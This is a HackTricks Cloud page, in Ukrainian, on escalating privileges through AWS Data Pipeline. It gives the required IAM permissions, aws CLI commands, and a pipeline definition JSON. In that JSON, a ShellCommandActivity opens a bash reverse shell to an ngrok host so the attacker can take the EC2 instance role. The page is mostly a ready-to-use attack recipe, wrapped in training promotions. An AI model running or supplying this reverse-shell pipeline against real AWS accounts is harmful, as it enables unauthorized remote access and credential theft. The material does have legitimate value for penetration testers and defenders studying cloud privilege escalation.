AWS - Datapipeline Privesc
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
datapipeline
Для отримання додаткової інформації про datapipeline перегляньте:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole
, datapipeline:CreatePipeline
, datapipeline:PutPipelineDefinition
, datapipeline:ActivatePipeline
Користувачі з цими дозволами можуть підвищити привілеї, створивши Data Pipeline для виконання довільних команд, використовуючи дозволи призначеної ролі:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Після створення конвеєра зловмисник оновлює його визначення, щоб вказати конкретні дії або створення ресурсів:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
note
Зверніть увагу, що роль в рядках 14, 15 та 27 повинна бути роллю, яку може прийняти datapipeline.amazonaws.com, а роль в рядку 28 повинна бути роллю, яку може прийняти ec2.amazonaws.com з профілем EC2.
Крім того, EC2 інстанс матиме доступ лише до ролі, яку може прийняти EC2 інстанс (тому ви можете вкрасти лише цю).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Файл визначення конвеєра, створений зловмисником, містить директиви для виконання команд або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв.
Потенційний вплив: Пряме підвищення привілеїв до ролі служби ec2.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.